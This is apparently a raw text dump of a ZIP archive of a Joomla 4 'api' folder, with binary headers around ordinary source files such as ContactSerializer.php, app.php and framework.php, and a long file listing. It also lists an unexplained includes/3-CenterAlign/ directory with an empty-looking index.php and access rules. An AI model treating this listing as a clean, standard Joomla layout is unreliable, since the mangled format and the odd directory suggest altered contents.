$item->associations = $associations; } if (!empty($item->tags->tags)) { $tagsIds = explode(',', $item->tags->tags); $tagsNames = $item->tagsHelper->getTagNames($tagsIds); $item->tags = array_combine($tagsIds, $tagsNames); } else { $item->tags = []; } if (isset($item->image)) { $item->image = ContentHelper::resolve($item->image); } return parent::prepareItem($item); } } PK! ;components/com_contact/src/Serializer/ContactSerializer.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\Serializer; use Joomla\CMS\Router\Route; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Tag\TagApiSerializerTrait; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; use Tobscure\JsonApi\Relationship; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Temporary serializer * * @since 4.0.0 */ class ContactSerializer extends JoomlaSerializer { use TagApiSerializerTrait; /** * Build content relationships by associations * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function languageAssociations($model) { $resources = []; // @todo: This can't be hardcoded in the future? $serializer = new JoomlaSerializer($this->type); foreach ($model->associations as $association) { $resources[] = (new Resource($association, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/contact/' . $association->id)); } $collection = new Collection($resources, $serializer); return new Relationship($collection); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function category($model) { $serializer = new JoomlaSerializer('categories'); $resource = (new Resource($model->catid, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid)); return new Relationship($resource); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function createdBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->created_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by)); return new Relationship($resource); } /** * Build editor relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function modifiedBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->modified_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by)); return new Relationship($resource); } /** * Build contact user relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function userId($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->user_id, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->user_id)); return new Relationship($resource); } } PK!#g>>includes/app.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); if (file_exists(dirname(__DIR__) . '/defines.php')) { include_once dirname(__DIR__) . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', dirname(__DIR__)); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG && \Joomla\CMS\Profiler\Profiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad'); // Boot the DI container $container = \Joomla\CMS\Factory::getContainer(); /* * Alias the session service keys to the web session service as that is the primary session backend for this application * * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects * is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered * deprecated to be removed when the class name alias is removed as well. */ $container->alias('session', 'session.cli') ->alias('JSession', 'session.cli') ->alias(\Joomla\CMS\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\Session::class, 'session.cli') ->alias(\Joomla\Session\SessionInterface::class, 'session.cli'); // Instantiate the application. $app = $container->get(\Joomla\CMS\Application\ApiApplication::class); // Set the application as global app \Joomla\CMS\Factory::$application = $app; // Execute the application. $app->execute(); PK!3e9%% includes/3-CenterAlign/index.phpnu[PK! includes/3-CenterAlign/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all PK!lcooincludes/defines.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Global definitions $parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE); array_pop($parts); // Defines. define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts)); define('JPATH_SITE', JPATH_ROOT); define('JPATH_CONFIGURATION', JPATH_ROOT); define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator'); define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries'); define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins'); define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation'); define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates'); define('JPATH_CACHE', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'cache'); define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests'); define('JPATH_API', JPATH_ROOT . DIRECTORY_SEPARATOR . 'api'); define('JPATH_CLI', JPATH_ROOT . DIRECTORY_SEPARATOR . 'cli'); PK!H׺9 9 includes/framework.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\Utilities\IpHelper; // System includes require_once JPATH_LIBRARIES . '/bootstrap.php'; // Installation check, and check on removal of the install directory. if ( !file_exists(JPATH_CONFIGURATION . '/configuration.php') || (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10) || (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version())->isInDevelopmentState())) ) { if (file_exists(JPATH_INSTALLATION . '/index.php')) { header('HTTP/1.1 500 Internal Server Error'); echo json_encode( ['error' => 'You must install Joomla to use the API'] ); exit(); } else { header('HTTP/1.1 500 Internal Server Error'); echo json_encode( ['error' => 'No configuration file found and no installation code available. Exiting...'] ); exit; } } // Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026 ob_start(); require_once JPATH_CONFIGURATION . '/configuration.php'; ob_end_clean(); // System configuration. $config = new JConfig(); // Set the error_reporting switch ($config->error_reporting) { case 'default': case '-1': break; case 'none': case '0': error_reporting(0); break; case 'simple': error_reporting(E_ERROR | E_WARNING | E_PARSE); ini_set('display_errors', 1); break; case 'maximum': case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0 error_reporting(E_ALL); ini_set('display_errors', 1); break; default: error_reporting($config->error_reporting); ini_set('display_errors', 1); break; } define('JDEBUG', $config->debug); // Check deprecation logging if (empty($config->log_deprecated)) { // Reset handler for E_USER_DEPRECATED set_error_handler(null, E_USER_DEPRECATED); } else { // Make sure handler for E_USER_DEPRECATED is registered set_error_handler(['Joomla\CMS\Exception\ExceptionHandler', 'handleUserDeprecatedErrors'], E_USER_DEPRECATED); } if (JDEBUG || $config->error_reporting === 'maximum') { // Set new Exception handler with debug enabled $errorHandler->setExceptionHandler( [ new \Symfony\Component\ErrorHandler\ErrorHandler(null, true), 'renderException', ] ); } /** * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer. * * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer. */ if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1) { // If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR IpHelper::setAllowIpOverrides(true); } else { // We disable the allowing of IP overriding using headers by default. IpHelper::setAllowIpOverrides(false); } unset($config); PK!YL$$ index.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '7.2.5'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { header('HTTP/1.1 500 Internal Server Error'); echo json_encode( ['error' => sprintf('Joomla requires PHP version %s to run', JOOMLA_MINIMUM_PHP)] ); return; } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not cause an error for PHP 5.2 and lower */ define('_JEXEC', 1); // Run the application - All executable code should be triggered through this file require_once dirname(__FILE__) . '/includes/app.php'; PK!"Jddlanguage/en-GB/joomla.ininu[PK!BAT!language/en-GB/includes/index.phpnu[PK!!;language/en-GB/includes/.htaccessnu[PK!9V=language/en-GB/langmetadata.xmlnu[PK!ktt@language/en-GB/install.xmlnu[PK!MClanguage/en-GB/com_media.ininu[PK! <=0O O <Fcomponents/com_templates/src/Controller/StylesController.phpnu[PK!$ff8:Rcomponents/com_templates/src/View/Styles/JsonapiView.phpnu[PK!115Ycomponents/com_tags/src/Controller/TagsController.phpnu[PK!ö@bb1\components/com_tags/src/View/Tags/JsonapiView.phpnu[PK!ȠCC;adcomponents/com_newsfeeds/src/Controller/FeedsController.phpnu[PK!_YY7hcomponents/com_newsfeeds/src/View/Feeds/JsonapiView.phpnu[PK! >xcomponents/com_newsfeeds/src/Serializer/NewsfeedSerializer.phpnu[PK!{[tt9components/com_fields/src/Controller/FieldsController.phpnu[PK!~o tt9݌components/com_fields/src/Controller/GroupsController.phpnu[PK!-:[ [ 5components/com_fields/src/View/Groups/JsonapiView.phpnu[PK!KC 5zcomponents/com_fields/src/View/Fields/JsonapiView.phpnu[PK!Q\g ;ުcomponents/com_modules/src/Controller/ModulesController.phpnu[PK!JB* * 7Hcomponents/com_modules/src/View/Modules/JsonapiView.phpnu[PK!CX<components/com_config/src/Controller/ComponentController.phpnu[PK!|g>components/com_config/src/Controller/ApplicationController.phpnu[PK!F{{8components/com_config/src/View/Component/JsonapiView.phpnu[PK!e8:{components/com_config/src/View/Application/JsonapiView.phpnu[PK!*y B components/com_contenthistory/src/Controller/HistoryController.phpnu[PK!lUU>components/com_contenthistory/src/View/History/JsonapiView.phpnu[PK!IKA  <components/com_privacy/src/Controller/RequestsController.phpnu[PK!"#[[<(components/com_privacy/src/Controller/ConsentsController.phpnu[PK!T'8WW8-components/com_privacy/src/View/Requests/JsonapiView.phpnu[PK!  85components/com_privacy/src/View/Consents/JsonapiView.phpnu[PK!TQJJ8Acomponents/com_users/src/Controller/LevelsController.phpnu[PK!O78Ecomponents/com_users/src/Controller/UsersController.phpnu[PK!HJHH8@_components/com_users/src/Controller/GroupsController.phpnu[PK!\ 3bcomponents/com_users/src/View/Users/JsonapiView.phpnu[PK!A4Bncomponents/com_users/src/View/Levels/JsonapiView.phpnu[PK!/as4`rcomponents/com_users/src/View/Groups/JsonapiView.phpnu[PK!- JII=vcomponents/com_messages/src/Controller/MessagesController.phpnu[PK!h^9xzcomponents/com_messages/src/View/Messages/JsonapiView.phpnu[PK!m♽<components/com_installer/src/Controller/ManageController.phpnu[PK!zfmm8components/com_installer/src/View/Manage/JsonapiView.phpnu[PK! UUAcomponents/com_categories/src/Controller/CategoriesController.phpnu[PK!Su=components/com_categories/src/View/Categories/JsonapiView.phpnu[PK!{{7components/com_menus/src/Controller/MenusController.phpnu[PK!/07components/com_menus/src/Controller/ItemsController.phpnu[PK!?3components/com_menus/src/View/Items/JsonapiView.phpnu[PK!4oo3components/com_menus/src/View/Menus/JsonapiView.phpnu[PK!* ;components/com_plugins/src/Controller/PluginsController.phpnu[PK!=||7components/com_plugins/src/View/Plugins/JsonapiView.phpnu[PK![JYY:components/com_media/src/Controller/AdaptersController.phpnu[PK!;Yb.b.7Zcomponents/com_media/src/Controller/MediaController.phpnu[PK!jcפ3#/components/com_media/src/View/Media/JsonapiView.phpnu[PK!([;;6?7components/com_media/src/View/Adapters/JsonapiView.phpnu[PK!C1Zff-;components/com_media/src/Model/MediaModel.phpnu[PK!5)/Kcomponents/com_media/src/Model/AdapterModel.phpnu[PK!Y7G G .Qcomponents/com_media/src/Model/MediumModel.phpnu[PK!v| 0rcomponents/com_media/src/Model/AdaptersModel.phpnu[PK!nLU**<~components/com_content/src/Controller/ArticlesController.phpnu[PK!k8Zcomponents/com_content/src/View/Articles/JsonapiView.phpnu[PK!Õ7[[3zcomponents/com_content/src/Helper/ContentHelper.phpnu[PK!2Rv v ;8components/com_content/src/Serializer/ContentSerializer.phpnu[PK!(?5CC;components/com_banners/src/Controller/ClientsController.phpnu[PK!/vxCC;ǹcomponents/com_banners/src/Controller/BannersController.phpnu[PK!7ucomponents/com_banners/src/View/Banners/JsonapiView.phpnu[PK!MZN7components/com_banners/src/View/Clients/JsonapiView.phpnu[PK!N5FF==components/com_redirect/src/Controller/RedirectController.phpnu[PK!xΘ9components/com_redirect/src/View/Redirect/JsonapiView.phpnu[PK!0ڵ=4components/com_languages/src/Controller/StringsController.phpnu[PK!WOO?components/com_languages/src/Controller/LanguagesController.phpnu[PK!,?tcomponents/com_languages/src/Controller/OverridesController.phpnu[PK!;{;components/com_languages/src/View/Languages/JsonapiView.phpnu[PK!;gZ 9xcomponents/com_languages/src/View/Strings/JsonapiView.phpnu[PK!0i ; components/com_languages/src/View/Overrides/JsonapiView.phpnu[PK!Ye ;components/com_contact/src/Controller/ContactController.phpnu[PK!88components/com_contact/src/View/Contacts/JsonapiView.phpnu[PK! ;Mcomponents/com_contact/src/Serializer/ContactSerializer.phpnu[PK!#g>>[includes/app.phpnu[PK!3e9%% bincludes/3-CenterAlign/index.phpnu[PK! includes/3-CenterAlign/.htaccessnu[PK!lcoo2includes/defines.phpnu[PK!H׺9 9 includes/framework.phpnu[PK!YL$$ dindex.phpnu[PKPP7$